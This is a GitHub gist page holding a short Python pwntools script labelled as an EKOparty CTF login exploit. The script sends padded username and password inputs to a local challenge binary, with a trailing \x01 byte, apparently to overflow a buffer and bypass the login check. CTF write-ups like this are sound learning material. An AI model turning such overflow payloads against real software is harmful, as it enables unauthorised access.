Last active
February 9, 2017 15:03
-
-
Save 0xPwny/07e7eb38c833fcd6b662d5306d3b53c8 to your computer and use it in GitHub Desktop.
EKOpartyCTF - Login exploit
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/python | |
| #author : Abdeljalil Nouiri | |
| from pwn import * | |
| user = "charly" | |
| passwd = "h4ckTH1s" | |
| con = process("./flag") | |
| print con.recv() | |
| payload = user+"AZERTYUIOPQ" | |
| con.send(payload) | |
| print con.recv() | |
| payload = passwd+"SDFGHJKL" | |
| payload += "\x01" | |
| con.send(payload) | |
| print con.recv() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment